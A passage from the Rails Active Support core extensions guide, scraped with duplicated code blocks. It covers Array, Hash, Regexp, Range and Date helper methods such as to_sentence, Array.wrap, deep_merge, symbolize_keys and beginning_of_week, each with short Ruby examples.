That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.

If a method expects a variable number of arguments and uses * in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.

In those cases, you may give an options hash a distinguished treatment with extract_options!. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.

Let's see for example the definition of the caches_action controller macro:

def caches_action(*actions)
return unless cache_configured?
options = actions.extract_options!
# ...
end

def caches_action(*actions) return unless cache_configured? options = actions.extract_options! # ... end Copiar

This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to extract_options! you obtain the options hash and remove it from actions in a simple and explicit way.

Defined in active_support/core_ext/array/extract_options.rb.

11.4 Conversions

11.4.1 to_sentence

The method to_sentence turns an array into a string containing a sentence that enumerates its items:

%w().to_sentence                # => ""
%w(Earth).to_sentence           # => "Earth"
%w(Earth Wind).to_sentence      # => "Earth and Wind"
%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"

%w().to_sentence # => "" %w(Earth).to_sentence # => "Earth" %w(Earth Wind).to_sentence # => "Earth and Wind" %w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire" Copiar

This method accepts three options:

- :two_words_connector: What is used for arrays of length 2. Default is " and ".

- :words_connector: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".

- :last_word_connector: What is used to join the last items of an array with 3 or more elements. Default is ", and ".

The defaults for these options can be localized, their keys are:

Option

I18n key

:two_words_connector

support.array.two_words_connector

:words_connector

support.array.words_connector

:last_word_connector

support.array.last_word_connector

Defined in active_support/core_ext/array/conversions.rb.

11.4.2 to_formatted_s

The method to_formatted_s acts like to_s by default.

If the array contains items that respond to id, however, the symbol :db may be passed as argument. That's typically used with collections of Active Record objects. Returned strings are:

[].to_formatted_s(:db)            # => "null"
[user].to_formatted_s(:db)        # => "8456"
invoice.lines.to_formatted_s(:db) # => "23,567,556,12"

[].to_formatted_s(:db) # => "null" [user].to_formatted_s(:db) # => "8456" invoice.lines.to_formatted_s(:db) # => "23,567,556,12" Copiar

Integers in the example above are supposed to come from the respective calls to id.

Defined in active_support/core_ext/array/conversions.rb.

11.4.3 to_xml

The method to_xml returns a string containing an XML representation of its receiver:

Contributor.limit(2).order(:rank).to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors type="array">
#   <contributor>
#     <id type="integer">4356</id>
#     <name>Jeremy Kemper</name>
#     <rank type="integer">1</rank>
#     <url-id>jeremy-kemper</url-id>
#   </contributor>
#   <contributor>
#     <id type="integer">4404</id>
#     <name>David Heinemeier Hansson</name>
#     <rank type="integer">2</rank>
#     <url-id>david-heinemeier-hansson</url-id>
#   </contributor>
# </contributors>

Contributor.limit(2).order(:rank).to_xml # => # <?xml version="1.0" encoding="UTF-8"?> # <contributors type="array"> # <contributor> # <id type="integer">4356</id> # <name>Jeremy Kemper</name> # <rank type="integer">1</rank> # <url-id>jeremy-kemper</url-id> # </contributor> # <contributor> # <id type="integer">4404</id> # <name>David Heinemeier Hansson</name> # <rank type="integer">2</rank> # <url-id>david-heinemeier-hansson</url-id> # </contributor> # </contributors> Copiar

To do so it sends to_xml to every item in turn, and collects the results under a root node. All items must respond to to_xml, an exception is raised otherwise.

By default, the name of the root element is the underscored and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with is_a?) and they are not hashes. In the example above that's "contributors".

If there's any element that does not belong to the type of the first one the root node becomes "objects":

[Contributor.first, Commit.first].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
#   <object>
#     <id type="integer">4583</id>
#     <name>Aaron Batalion</name>
#     <rank type="integer">53</rank>
#     <url-id>aaron-batalion</url-id>
#   </object>
#   <object>
#     <author>Joshua Peek</author>
#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
#     <branch>origin/master</branch>
#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
#     <committer>Joshua Peek</committer>
#     <git-show nil="true"></git-show>
#     <id type="integer">190316</id>
#     <imported-from-svn type="boolean">false</imported-from-svn>
#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
#   </object>
# </objects>

[Contributor.first, Commit.first].to_xml # => # <?xml version="1.0" encoding="UTF-8"?> # <objects type="array"> # <object> # <id type="integer">4583</id> # <name>Aaron Batalion</name> # <rank type="integer">53</rank> # <url-id>aaron-batalion</url-id> # </object> # <object> # <author>Joshua Peek</author> # <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp> # <branch>origin/master</branch> # <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp> # <committer>Joshua Peek</committer> # <git-show nil="true"></git-show> # <id type="integer">190316</id> # <imported-from-svn type="boolean">false</imported-from-svn> # <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message> # <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1> # </object> # </objects> Copiar

If the receiver is an array of hashes the root element is by default also "objects":

[{a: 1, b: 2}, {c: 3}].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
#   <object>
#     <b type="integer">2</b>
#     <a type="integer">1</a>
#   </object>
#   <object>
#     <c type="integer">3</c>
#   </object>
# </objects>

[{a: 1, b: 2}, {c: 3}].to_xml # => # <?xml version="1.0" encoding="UTF-8"?> # <objects type="array"> # <object> # <b type="integer">2</b> # <a type="integer">1</a> # </object> # <object> # <c type="integer">3</c> # </object> # </objects> Copiar

If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the :root option to ensure a consistent root element.

The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option :children allows you to set these node names.

The default XML builder is a fresh instance of Builder::XmlMarkup. You can configure your own builder via the :builder option. The method also accepts options like :dasherize and friends, they are forwarded to the builder:

Contributor.limit(2).order(:rank).to_xml(skip_types: true)
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors>
#   <contributor>
#     <id>4356</id>
#     <name>Jeremy Kemper</name>
#     <rank>1</rank>
#     <url-id>jeremy-kemper</url-id>
#   </contributor>
#   <contributor>
#     <id>4404</id>
#     <name>David Heinemeier Hansson</name>
#     <rank>2</rank>
#     <url-id>david-heinemeier-hansson</url-id>
#   </contributor>
# </contributors>

Contributor.limit(2).order(:rank).to_xml(skip_types: true) # => # <?xml version="1.0" encoding="UTF-8"?> # <contributors> # <contributor> # <id>4356</id> # <name>Jeremy Kemper</name> # <rank>1</rank> # <url-id>jeremy-kemper</url-id> # </contributor> # <contributor> # <id>4404</id> # <name>David Heinemeier Hansson</name> # <rank>2</rank> # <url-id>david-heinemeier-hansson</url-id> # </contributor> # </contributors> Copiar

Defined in active_support/core_ext/array/conversions.rb.

11.5 Wrapping

The method Array.wrap wraps its argument in an array unless it is already an array (or array-like).

Specifically:

- If the argument is nil an empty array is returned.

- Otherwise, if the argument responds to to_ary it is invoked, and if the value of to_ary is not nil, it is returned.

- Otherwise, an array with the argument as its single element is returned.

Array.wrap(nil)       # => []
Array.wrap([1, 2, 3]) # => [1, 2, 3]
Array.wrap(0)         # => [0]

Array.wrap(nil) # => [] Array.wrap([1, 2, 3]) # => [1, 2, 3] Array.wrap(0) # => [0] Copiar

This method is similar in purpose to Kernel#Array, but there are some differences:

- If the argument responds to to_ary the method is invoked. Kernel#Array moves on to try to_a if the returned value is nil, but Array.wrap returns an array with the argument as its single element right away.

- If the returned value from to_ary is neither nil nor an Array object, Kernel#Array raises an exception, while Array.wrap does not, it just returns the value.

- It does not call to_a on the argument, if the argument does not respond to to_ary it returns an array with the argument as its single element.

The last point is particularly worth comparing for some enumerables:

Array.wrap(foo: :bar) # => [{:foo=>:bar}]
Array(foo: :bar)      # => [[:foo, :bar]]

Array.wrap(foo: :bar) # => [{:foo=>:bar}] Array(foo: :bar) # => [[:foo, :bar]] Copiar

There's also a related idiom that uses the splat operator:

[*object]

[*object] Copiar

Defined in active_support/core_ext/array/wrap.rb.

11.6 Duplicating

The method Array#deep_dup duplicates itself and all objects inside recursively with the Active Support method Object#deep_dup. It works like Array#map, sending deep_dup method to each object inside.

array = [1, [2, 3]]
dup = array.deep_dup
dup[1][2] = 4
array[1][2] == nil   # => true

array = [1, [2, 3]] dup = array.deep_dup dup[1][2] = 4 array[1][2] == nil # => true Copiar

Defined in active_support/core_ext/object/deep_dup.rb.

11.7 Grouping

11.7.1 in_groups_of(number, fill_with = nil)

The method in_groups_of splits an array into consecutive groups of a certain size. It returns an array with the groups:

[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]

[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]] Copiar

or yields them in turn if a block is passed:

<% sample.in_groups_of(3) do |a, b, c| %>
<tr>
<td><%= a %></td>
<td><%= b %></td>
<td><%= c %></td>
</tr>
<% end %>

<% sample.in_groups_of(3) do |a, b, c| %> <tr> <td><%= a %></td> <td><%= b %></td> <td><%= c %></td> </tr> <% end %> Copiar

The first example shows how in_groups_of fills the last group with as many nil elements as needed to have the requested size. You can change this padding value using the second optional argument:

[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]

[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]] Copiar

And you can tell the method not to fill the last group by passing false:

[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]

[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]] Copiar

As a consequence false can't be used as a padding value.

Defined in active_support/core_ext/array/grouping.rb.

11.7.2 in_groups(number, fill_with = nil)

The method in_groups splits an array into a certain number of groups. The method returns an array with the groups:

%w(1 2 3 4 5 6 7).in_groups(3)
# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]

%w(1 2 3 4 5 6 7).in_groups(3) # => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]] Copiar

or yields them in turn if a block is passed:

%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
["1", "2", "3"]
["4", "5", nil]
["6", "7", nil]

%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group} ["1", "2", "3"] ["4", "5", nil] ["6", "7", nil] Copiar

The examples above show that in_groups fills some groups with a trailing nil element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.

You can change this padding value using the second optional argument:

%w(1 2 3 4 5 6 7).in_groups(3, "0")
# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]

%w(1 2 3 4 5 6 7).in_groups(3, "0") # => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]] Copiar

And you can tell the method not to fill the smaller groups by passing false:

%w(1 2 3 4 5 6 7).in_groups(3, false)
# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]

%w(1 2 3 4 5 6 7).in_groups(3, false) # => [["1", "2", "3"], ["4", "5"], ["6", "7"]] Copiar

As a consequence false can't be used as a padding value.

Defined in active_support/core_ext/array/grouping.rb.

11.7.3 split(value = nil)

The method split divides an array by a separator and returns the resulting chunks.

If a block is passed the separators are those elements of the array for which the block returns true:

(-5..5).to_a.split { |i| i.multiple_of?(4) }
# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]

(-5..5).to_a.split { |i| i.multiple_of?(4) } # => [[-5], [-3, -2, -1], [1, 2, 3], [5]] Copiar

Otherwise, the value received as argument, which defaults to nil, is the separator:

[0, 1, -5, 1, 1, "foo", "bar"].split(1)
# => [[0], [-5], [], ["foo", "bar"]]

[0, 1, -5, 1, 1, "foo", "bar"].split(1) # => [[0], [-5], [], ["foo", "bar"]] Copiar

Observe in the previous example that consecutive separators result in empty arrays.

Defined in active_support/core_ext/array/grouping.rb.

12 Extensions to Hash

12.1 Conversions

12.1.1 to_xml

The method to_xml returns a string containing an XML representation of its receiver:

{"foo" => 1, "bar" => 2}.to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <hash>
#   <foo type="integer">1</foo>
#   <bar type="integer">2</bar>
# </hash>

{"foo" => 1, "bar" => 2}.to_xml # => # <?xml version="1.0" encoding="UTF-8"?> # <hash> # <foo type="integer">1</foo> # <bar type="integer">2</bar> # </hash> Copiar

To do so, the method loops over the pairs and builds nodes that depend on the values. Given a pair key, value:

- If value is a hash there's a recursive call with key as :root.

- If value is an array there's a recursive call with key as :root, and key singularized as :children.

- If value is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the options hash as first argument with key as :root, and key singularized as second argument. Its return value becomes a new node.

- If value responds to to_xml the method is invoked with key as :root.

- Otherwise, a node with key as tag is created with a string representation of value as text node. If value is nil an attribute "nil" set to "true" is added. Unless the option :skip_types exists and is true, an attribute "type" is added as well according to the following mapping:

XML_TYPE_NAMES = {
"Symbol"     => "symbol",
"Integer"    => "integer",
"BigDecimal" => "decimal",
"Float"      => "float",
"TrueClass"  => "boolean",
"FalseClass" => "boolean",
"Date"       => "date",
"DateTime"   => "datetime",
"Time"       => "datetime"
}

XML_TYPE_NAMES = { "Symbol" => "symbol", "Integer" => "integer", "BigDecimal" => "decimal", "Float" => "float", "TrueClass" => "boolean", "FalseClass" => "boolean", "Date" => "date", "DateTime" => "datetime", "Time" => "datetime" } Copiar

By default the root node is "hash", but that's configurable via the :root option.

The default XML builder is a fresh instance of Builder::XmlMarkup. You can configure your own builder with the :builder option. The method also accepts options like :dasherize and friends, they are forwarded to the builder.

Defined in active_support/core_ext/hash/conversions.rb.

12.2 Merging

Ruby has a built-in method Hash#merge that merges two hashes:

{a: 1, b: 1}.merge(a: 0, c: 2)
# => {:a=>0, :b=>1, :c=>2}

{a: 1, b: 1}.merge(a: 0, c: 2) # => {:a=>0, :b=>1, :c=>2} Copiar

Active Support defines a few more ways of merging hashes that may be convenient.

12.2.1 reverse_merge and reverse_merge!

In case of collision the key in the hash of the argument wins in merge. You can support option hashes with default values in a compact way with this idiom:

options = {length: 30, omission: "..."}.merge(options)

options = {length: 30, omission: "..."}.merge(options) Copiar

Active Support defines reverse_merge in case you prefer this alternative notation:

options = options.reverse_merge(length: 30, omission: "...")

options = options.reverse_merge(length: 30, omission: "...") Copiar

And a bang version reverse_merge! that performs the merge in place:

options.reverse_merge!(length: 30, omission: "...")

options.reverse_merge!(length: 30, omission: "...") Copiar

Take into account that reverse_merge! may change the hash in the caller, which may or may not be a good idea.

Defined in active_support/core_ext/hash/reverse_merge.rb.

12.2.2 reverse_update

The method reverse_update is an alias for reverse_merge!, explained above.

Note that reverse_update has no bang.

Defined in active_support/core_ext/hash/reverse_merge.rb.

12.2.3 deep_merge and deep_merge!

As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.

Active Support defines Hash#deep_merge. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their merge becomes the value in the resulting hash:

{a: {b: 1}}.deep_merge(a: {c: 2})
# => {:a=>{:b=>1, :c=>2}}

{a: {b: 1}}.deep_merge(a: {c: 2}) # => {:a=>{:b=>1, :c=>2}} Copiar

The method deep_merge! performs a deep merge in place.

Defined in active_support/core_ext/hash/deep_merge.rb.

12.3 Deep duplicating

The method Hash#deep_dup duplicates itself and all keys and values inside recursively with Active Support method Object#deep_dup. It works like Enumerator#each_with_object with sending deep_dup method to each pair inside.

hash = { a: 1, b: { c: 2, d: [3, 4] } }

dup = hash.deep_dup
dup[:b][:e] = 5
dup[:b][:d] << 5

hash[:b][:e] == nil      # => true
hash[:b][:d] == [3, 4]   # => true

hash = { a: 1, b: { c: 2, d: [3, 4] } } dup = hash.deep_dup dup[:b][:e] = 5 dup[:b][:d] << 5 hash[:b][:e] == nil # => true hash[:b][:d] == [3, 4] # => true Copiar

Defined in active_support/core_ext/object/deep_dup.rb.

12.4 Working with Keys

12.4.1 except and except!

The method except returns a hash with the keys in the argument list removed, if present:

{a: 1, b: 2}.except(:a) # => {:b=>2}

{a: 1, b: 2}.except(:a) # => {:b=>2} Copiar

If the receiver responds to convert_key, the method is called on each of the arguments. This allows except to play nice with hashes with indifferent access for instance:

{a: 1}.with_indifferent_access.except(:a)  # => {}
{a: 1}.with_indifferent_access.except("a") # => {}

{a: 1}.with_indifferent_access.except(:a) # => {} {a: 1}.with_indifferent_access.except("a") # => {} Copiar

There's also the bang variant except! that removes keys in place.

Defined in active_support/core_ext/hash/except.rb.

12.4.2 stringify_keys and stringify_keys!

The method stringify_keys returns a hash that has a stringified version of the keys in the receiver. It does so by sending to_s to them:

{nil => nil, 1 => 1, a: :a}.stringify_keys
# => {"" => nil, "1" => 1, "a" => :a}

{nil => nil, 1 => 1, a: :a}.stringify_keys # => {"" => nil, "1" => 1, "a" => :a} Copiar

In case of key collision, the value will be the one most recently inserted into the hash:

{"a" => 1, a: 2}.stringify_keys
# The result will be
# => {"a"=>2}

{"a" => 1, a: 2}.stringify_keys # The result will be # => {"a"=>2} Copiar

This method may be useful for example to easily accept both symbols and strings as options. For instance ActionView::Helpers::FormHelper defines:

def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
options = options.stringify_keys
options["type"] = "checkbox"
# ...
end

def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0") options = options.stringify_keys options["type"] = "checkbox" # ... end Copiar

The second line can safely access the "type" key, and let the user to pass either :type or "type".

There's also the bang variant stringify_keys! that stringifies keys in place.

Besides that, one can use deep_stringify_keys and deep_stringify_keys! to stringify all the keys in the given hash and all the hashes nested in it. An example of the result is:

{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}

{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys # => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}} Copiar

Defined in active_support/core_ext/hash/keys.rb.

12.4.3 symbolize_keys and symbolize_keys!

The method symbolize_keys returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending to_sym to them:

{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
# => {nil=>nil, 1=>1, :a=>"a"}

{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys # => {nil=>nil, 1=>1, :a=>"a"} Copiar

Note in the previous example only one key was symbolized.

In case of key collision, the value will be the one most recently inserted into the hash:

{"a" => 1, a: 2}.symbolize_keys
# => {:a=>2}

{"a" => 1, a: 2}.symbolize_keys # => {:a=>2} Copiar

This method may be useful for example to easily accept both symbols and strings as options. For instance ActionText::TagHelper defines

def rich_text_area_tag(name, value = nil, options = {})
options = options.symbolize_keys

options[:input] ||= "trix_input_#{ActionText::TagHelper.id += 1}"
# ...
end

def rich_text_area_tag(name, value = nil, options = {}) options = options.symbolize_keys options[:input] ||= "trix_input_#{ActionText::TagHelper.id += 1}" # ... end Copiar

The third line can safely access the :input key, and let the user to pass either :input or "input".

There's also the bang variant symbolize_keys! that symbolizes keys in place.

Besides that, one can use deep_symbolize_keys and deep_symbolize_keys! to symbolize all the keys in the given hash and all the hashes nested in it. An example of the result is:

{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}

{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys # => {nil=>nil, 1=>1, nested:{a:3, 5=>5}} Copiar

Defined in active_support/core_ext/hash/keys.rb.

12.4.4 to_options and to_options!

The methods to_options and to_options! are aliases of symbolize_keys and symbolize_keys!, respectively.

Defined in active_support/core_ext/hash/keys.rb.

12.4.5 assert_valid_keys

The method assert_valid_keys receives an arbitrary number of arguments, and checks whether the receiver has any key outside that list. If it does ArgumentError is raised.

{a: 1}.assert_valid_keys(:a)  # passes
{a: 1}.assert_valid_keys("a") # ArgumentError

{a: 1}.assert_valid_keys(:a) # passes {a: 1}.assert_valid_keys("a") # ArgumentError Copiar

Active Record does not accept unknown options when building associations, for example. It implements that control via assert_valid_keys.

Defined in active_support/core_ext/hash/keys.rb.

12.5 Working with Values

12.5.1 deep_transform_values and deep_transform_values!

The method deep_transform_values returns a new hash with all values converted by the block operation. This includes the values from the root hash and from all nested hashes and arrays.

hash = { person: { name: 'Rob', age: '28' } }

hash.deep_transform_values{ |value| value.to_s.upcase }
# => {person: {name: "ROB", age: "28"}}

hash = { person: { name: 'Rob', age: '28' } } hash.deep_transform_values{ |value| value.to_s.upcase } # => {person: {name: "ROB", age: "28"}} Copiar

There's also the bang variant deep_transform_values! that destructively converts all values by using the block operation.

Defined in active_support/core_ext/hash/deep_transform_values.rb.

12.6 Slicing

The method slice! replaces the hash with only the given keys and returns a hash containing the removed key/value pairs.

hash = {a: 1, b: 2}
rest = hash.slice!(:a) # => {:b=>2}
hash                   # => {:a=>1}

hash = {a: 1, b: 2} rest = hash.slice!(:a) # => {:b=>2} hash # => {:a=>1} Copiar

Defined in active_support/core_ext/hash/slice.rb.

12.7 Extracting

The method extract! removes and returns the key/value pairs matching the given keys.

hash = {a: 1, b: 2}
rest = hash.extract!(:a) # => {:a=>1}
hash                     # => {:b=>2}

hash = {a: 1, b: 2} rest = hash.extract!(:a) # => {:a=>1} hash # => {:b=>2} Copiar

The method extract! returns the same subclass of Hash that the receiver is.

hash = {a: 1, b: 2}.with_indifferent_access
rest = hash.extract!(:a).class
# => ActiveSupport::HashWithIndifferentAccess

hash = {a: 1, b: 2}.with_indifferent_access rest = hash.extract!(:a).class # => ActiveSupport::HashWithIndifferentAccess Copiar

Defined in active_support/core_ext/hash/slice.rb.

12.8 Indifferent Access

The method with_indifferent_access returns an ActiveSupport::HashWithIndifferentAccess out of its receiver:

{a: 1}.with_indifferent_access["a"] # => 1

{a: 1}.with_indifferent_access["a"] # => 1 Copiar

Defined in active_support/core_ext/hash/indifferent_access.rb.

13 Extensions to Regexp

13.1 multiline?

The method multiline? says whether a regexp has the /m flag set, that is, whether the dot matches newlines.

%r{.}.multiline?  # => false
%r{.}m.multiline? # => true

Regexp.new('.').multiline?                    # => false
Regexp.new('.', Regexp::MULTILINE).multiline? # => true

%r{.}.multiline? # => false %r{.}m.multiline? # => true Regexp.new('.').multiline? # => false Regexp.new('.', Regexp::MULTILINE).multiline? # => true Copiar

Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.

def verify_regexp_requirements(requirements)
# ...
if requirement.multiline?
raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}"
end
# ...
end

def verify_regexp_requirements(requirements) # ... if requirement.multiline? raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}" end # ... end Copiar

Defined in active_support/core_ext/regexp.rb.

14 Extensions to Range

14.1 to_s

Active Support extends the method Range#to_s so that it understands an optional format argument. As of this writing the only supported non-default format is :db:

(Date.today..Date.tomorrow).to_s
# => "2009-10-25..2009-10-26"

(Date.today..Date.tomorrow).to_s(:db)
# => "BETWEEN '2009-10-25' AND '2009-10-26'"

(Date.today..Date.tomorrow).to_s # => "2009-10-25..2009-10-26" (Date.today..Date.tomorrow).to_s(:db) # => "BETWEEN '2009-10-25' AND '2009-10-26'" Copiar

As the example depicts, the :db format generates a BETWEEN SQL clause. That is used by Active Record in its support for range values in conditions.

Defined in active_support/core_ext/range/conversions.rb.

14.2 ===, include?, and cover?

The methods Range#===, Range#include?, and Range#cover? say whether some value falls between the ends of a given instance:

(2..3).include?(Math::E) # => true

(2..3).include?(Math::E) # => true Copiar

Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:

(1..10) === (3..7)  # => true
(1..10) === (0..7)  # => false
(1..10) === (3..11) # => false
(1...9) === (3..9)  # => false

(1..10).include?(3..7)  # => true
(1..10).include?(0..7)  # => false
(1..10).include?(3..11) # => false
(1...9).include?(3..9)  # => false

(1..10).cover?(3..7)  # => true
(1..10).cover?(0..7)  # => false
(1..10).cover?(3..11) # => false
(1...9).cover?(3..9)  # => false

(1..10) === (3..7) # => true (1..10) === (0..7) # => false (1..10) === (3..11) # => false (1...9) === (3..9) # => false (1..10).include?(3..7) # => true (1..10).include?(0..7) # => false (1..10).include?(3..11) # => false (1...9).include?(3..9) # => false (1..10).cover?(3..7) # => true (1..10).cover?(0..7) # => false (1..10).cover?(3..11) # => false (1...9).cover?(3..9) # => false Copiar

Defined in active_support/core_ext/range/compare_range.rb.

14.3 overlaps?

The method Range#overlaps? says whether any two given ranges have non-void intersection:

(1..10).overlaps?(7..11)  # => true
(1..10).overlaps?(0..7)   # => true
(1..10).overlaps?(11..27) # => false

(1..10).overlaps?(7..11) # => true (1..10).overlaps?(0..7) # => true (1..10).overlaps?(11..27) # => false Copiar

Defined in active_support/core_ext/range/overlaps.rb.

15 Extensions to Date

15.1 Calculations

The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, Date.new(1582, 10, 4).tomorrow returns Date.new(1582, 10, 15) and so on. Please check test/core_ext/date_ext_test.rb in the Active Support test suite for expected behavior.

15.1.1 Date.current

Active Support defines Date.current to be today in the current time zone. That's like Date.today, except that it honors the user time zone, if defined. It also defines Date.yesterday and Date.tomorrow, and the instance predicates past?, today?, tomorrow?, next_day?, yesterday?, prev_day?, future?, on_weekday? and on_weekend?, all of them relative to Date.current.

When making Date comparisons using methods which honor the user time zone, make sure to use Date.current and not Date.today. There are cases where the user time zone might be in the future compared to the system time zone, which Date.today uses by default. This means Date.today may equal Date.yesterday.

Defined in active_support/core_ext/date/calculations.rb.

15.1.2 Named dates

15.1.2.1 beginning_of_week, end_of_week

The methods beginning_of_week and end_of_week return the dates for the beginning and end of the week, respectively. Weeks are assumed to start on Monday, but that can be changed passing an argument, setting thread local Date.beginning_of_week or config.beginning_of_week.

d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
d.beginning_of_week          # => Mon, 03 May 2010
d.beginning_of_week(:sunday) # => Sun, 02 May 2010
d.end_of_week                # => Sun, 09 May 2010
d.end_of_week(:sunday)       # => Sat, 08 May 2010

d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 d.beginning_of_week # => Mon, 03 May 2010 d.beginning_of_week(:sunday) # => Sun, 02 May 2010 d.end_of_week # => Sun, 09 May 2010 d.end_of_week(:sunday) # => Sat, 08 May 2010 Copiar

beginning_of_week is aliased to at_beginning_of_week and end_of_week is aliased to at_end_of_week.

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.2.2 monday, sunday

The methods monday and sunday return the dates for the previous Monday and next Sunday, respectively.

d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
d.monday                     # => Mon, 03 May 2010
d.sunday                     # => Sun, 09 May 2010

d = Date.new(2012, 9, 10)    # => Mon, 10 Sep 2012
d.monday                     # => Mon, 10 Sep 2012

d = Date.new(2012, 9, 16)    # => Sun, 16 Sep 2012
d.sunday                     # => Sun, 16 Sep 2012

d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 d.monday # => Mon, 03 May 2010 d.sunday # => Sun, 09 May 2010 d = Date.new(2012, 9, 10) # => Mon, 10 Sep 2012 d.monday # => Mon, 10 Sep 2012 d = Date.new(2012, 9, 16) # => Sun, 16 Sep 2012 d.sunday # => Sun, 16 Sep 2012 Copiar

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.2.3 prev_week, next_week

The method next_week receives a symbol with a day name in English (default is the thread local Date.beginning_of_week, or config.beginning_of_week, or :monday) and it returns the date corresponding to that day.

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.next_week              # => Mon, 10 May 2010
d.next_week(:saturday)   # => Sat, 15 May 2010

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 d.next_week # => Mon, 10 May 2010 d.next_week(:saturday) # => Sat, 15 May 2010 Copiar

The method prev_week is analogous:

d.prev_week              # => Mon, 26 Apr 2010
d.prev_week(:saturday)   # => Sat, 01 May 2010
d.prev_week(:friday)     # => Fri, 30 Apr 2010

d.prev_week # => Mon, 26 Apr 2010 d.prev_week(:saturday) # => Sat, 01 May 2010 d.prev_week(:friday) # => Fri, 30 Apr 2010 Copiar

prev_week is aliased to last_week.

Both next_week and prev_week work as expected when Date.beginning_of_week or config.beginning_of_week are set.

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.2.4 beginning_of_month, end_of_month

The methods beginning_of_month and end_of_month return the dates for the beginning and end of the month:

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_month     # => Sat, 01 May 2010
d.end_of_month           # => Mon, 31 May 2010

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 d.beginning_of_month # => Sat, 01 May 2010 d.end_of_month # => Mon, 31 May 2010 Copiar

beginning_of_month is aliased to at_beginning_of_month, and end_of_month is aliased to at_end_of_month.

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.2.5 beginning_of_quarter, end_of_quarter

The methods beginning_of_quarter and end_of_quarter return the dates for the beginning and end of the quarter of the receiver's calendar year:

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_quarter   # => Thu, 01 Apr 2010
d.end_of_quarter         # => Wed, 30 Jun 2010

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 d.beginning_of_quarter # => Thu, 01 Apr 2010 d.end_of_quarter # => Wed, 30 Jun 2010 Copiar

beginning_of_quarter is aliased to at_beginning_of_quarter, and end_of_quarter is aliased to at_end_of_quarter.

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.2.6 beginning_of_year, end_of_year

The methods beginning_of_year and end_of_year return the dates for the beginning and end of the year:

d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
